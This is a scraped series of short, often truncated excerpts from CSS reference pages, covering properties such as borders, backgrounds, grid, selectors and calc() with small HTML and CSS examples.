background-color: blue; color: white; cursor: crosshair; user-select: none; -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; } .log { position: relative; width: 100%; text-align: center; } result here you can see the results in action.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
.runbutton { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 12px; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @keyframes colorchange { 0% {
background: yellow } 100% {
background: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here.
Mastering margin collapsing - CSS: Cascading Style Sheets
<p>this paragraph has a <code>.4rem</code> margin between it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0;
background: lavender; } p { margin: .4rem 0 1.2rem 0;
background: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
things to watch out for if the spanning element is inside another element which has margins, padding and a border or a
background color, it is possible to end up with the top of the box appearing above the spanner and the rest displaying below, as shown in the next example.
Styling Columns - CSS: Cascading Style Sheets
the anonymous boxes that make up your columns can’t be targeted in any way, meaning it isn’t possible to change a box's
background color or have one column larger than the others.
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column: 1; grid-row: 2; } <div class="wrapper"> <div class="box box1"><a href="">one</a></div> <div class="box box...
CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid rgb(233,171,88); border-radius: 5px;
background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: minma...
CSS Motion Path - CSS: Cascading Style Sheets
basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
Stacking context example 2 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } #div2 { z-index: 2; } #div3 { z-index: 1; } #div4 { z-index: 10; } #div1,#div3 { height: 80px; position: relative; border: 1px dashed #669966;
background-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000;
background-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; border: 1px dashed #000099;
background-co...
CSS Properties Reference - CSS: Cascading Style Sheets
css javascript
background background background-attachment
backgroundattachment
background-color
backgroundcolor
background-image
backgroundimage
background-position
backgroundposition
background-repeat
backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-styl...
Animatable CSS properties - CSS: Cascading Style Sheets
the animatable properties are: -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright -webkit-line-clamp -webkit-text-fill-color -webkit-text-stroke -webkit-text-stroke-color all backdrop-filter
background background-color
background-position
background-size block-size border border-block-end border-block-end-color border-block-end-width border-block-start border-block-start-color border-block-start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-width bord...
Class selectors - CSS: Cascading Style Sheets
margin: 2em; } /* all <li> elements with a class list that includes both "spacious" and "elegant" */ /* for example, class="elegant retro spacious" */ li.spacious.elegant { margin: 2em; } syntax .class_name { style properties } note that this is equivalent to the following attribute selector: [class~=class_name] { style properties } examples css .red { color: #f33; } .yellow-bg {
background: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow
background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment...
Column combinator - CSS: Cascading Style Sheets
/* table cells that belong to the "selected" column */ col.selected || td {
background: gray; } syntax column-selector || cell-selector { /* style properties */ } examples html <table border="1"> <colgroup> <col span="2"/> <col class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td {
background: gray; color: white; font-weight: bold; } result specifications spe...
Compositing and Blending - CSS: Cascading Style Sheets
reference properties
background-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
ID selectors - CSS: Cascading Style Sheets
/* the element with id="demo" */ #demo { border: red 2px solid; } syntax #id_value { style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified {
background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div {
background-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div {
background-image: url('image-wb.png'); } } ...
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibility
backgroundbackground-attachment
background-blend-mode
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-bloc...
Tools - CSS: Cascading Style Sheets
this is not really yet a useful tool, but will be!linear-gradient generatorthis tool can be used to create custom css3 linear-gradient()
backgrounds.
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span {
background-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status comment selectors level 4the definition of 'type (tag name) selector' in that specification.
align-self - CSS: Cascading Style Sheets
baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples html <section> <div>item #1</div> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px;
background: beige; } div { height: 60px;
background: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end;
background: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
<alpha-value> - CSS: Cascading Style Sheets
if given as a number, the useful range is 0 (fully transparent) to 1.0 (fully opaque), with decimal values in between; that is, 0.5 indicates that half of the foreground color is used and half of the
background color is used.
attr() - CSS: Cascading Style Sheets
olor | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="
background" data-
background="lime">
background expected to be red if your browser does not support advanced usage of attr()</div> css .
background { height: 100vh; } .
background {
background-color: red; } .
background[data-
background] {
background-color: attr(data-
background color, red); } specifications specification status comment css values and units module level...
<basic-shape> - CSS: Cascading Style Sheets
html <div></div> css div { width: 300px; height: 300px;
background: repeating-linear-gradient(red, orange 50px); clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); animation: 4s poly infinite alternate ease-in-out; margin: 10px auto; } @keyframes poly { from { clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); } to { clip-path: polygon(50% 30%, 100% 0%, 70% 50...
block-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-block-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
border-block-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that specification.
border-block-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that specification.
border-block-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
border-block-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that specification.
border-block-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that specification.
border-block-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
border-block-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
border-block-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
border-block-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-block - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
border-bottom-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
border-bottom-width - CSS: Cascading Style Sheets
ine-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
border-bottom - CSS: Cascading Style Sheets
</div> css div { border-bottom: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom' in that specification.
border-end-end-radius - CSS: Cascading Style Sheets
t-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css content div {
background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in that specification.
border-end-start-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-start-radius' in that specific...
border-image-outset - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem;
background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-outset' in that specification.
border-image-repeat - CSS: Cascading Style Sheets
etch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-width - CSS: Cascading Style Sheets
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
border-inline-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
border-inline-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
border-inline-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
border-inline-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
border-inline-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
border-inline-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
border-inline-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
border-inline-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
border-inline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
border-inline - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
border-left-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
border-left-width - CSS: Cascading Style Sheets
syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
border-left - CSS: Cascading Style Sheets
</div> css div { border-left: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left' in that specification.
border-right-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
border-right-width - CSS: Cascading Style Sheets
yntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
border-right - CSS: Cascading Style Sheets
</div> css div { border-right: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right' in that specification.
border-spacing - CSS: Cascading Style Sheets
html <table> <tr> <td>1</td><td>2</td><td>3</td> </tr> <tr> <td>4</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em;
background: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-spacing' in that specification.
border-start-end-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-end-radius' in that specific...
border-start-start-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-start-radius' in that sp...
border-top-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
border-top-width - CSS: Cascading Style Sheets
mation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
border-top - CSS: Cascading Style Sheets
</div> css div { border-top: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top' in that specification.
border-width - CSS: Cascading Style Sheets
al { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-width' in that specification.
border - CSS: Cascading Style Sheets
amazing, isn't it?</div> css div { border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border' in that specification.
bottom - CSS: Cascading Style Sheets
html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center;
background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
box-sizing - CSS: Cascading Style Sheets
html <div class="content-box">content box</div> <br> <div class="border-box">border box</div> css div { width: 160px; height: 80px; padding: 20px; border: 8px solid red;
background: yellow; } .content-box { box-sizing: content-box; /* total width: 160px + (2 * 20px) + (2 * 8px) = 216px total height: 80px + (2 * 20px) + (2 * 8px) = 136px content box width: 160px content box height: 80px */ } .border-box { box-sizing: border-box; /* total width: 160px total height: 80px content box width: 160px - (2 * 20px) - (2 * 8px) = 104px content b...
calc() - CSS: Cascading Style Sheets
in this example, the css creates a banner that stretches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px;
background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available space, without extruding past the edge of their container, while maintaining an appropriate margin.
caret-color - CSS: Cascading Style Sheets
this is generally currentcolor, but the user agent may choose a different color to ensure good visibility and contrast with the surrounding content, taking into account the value of currentcolor, the
background, shadows, and other factors.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: auto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green;
background-color: lime; } result multi-column l...
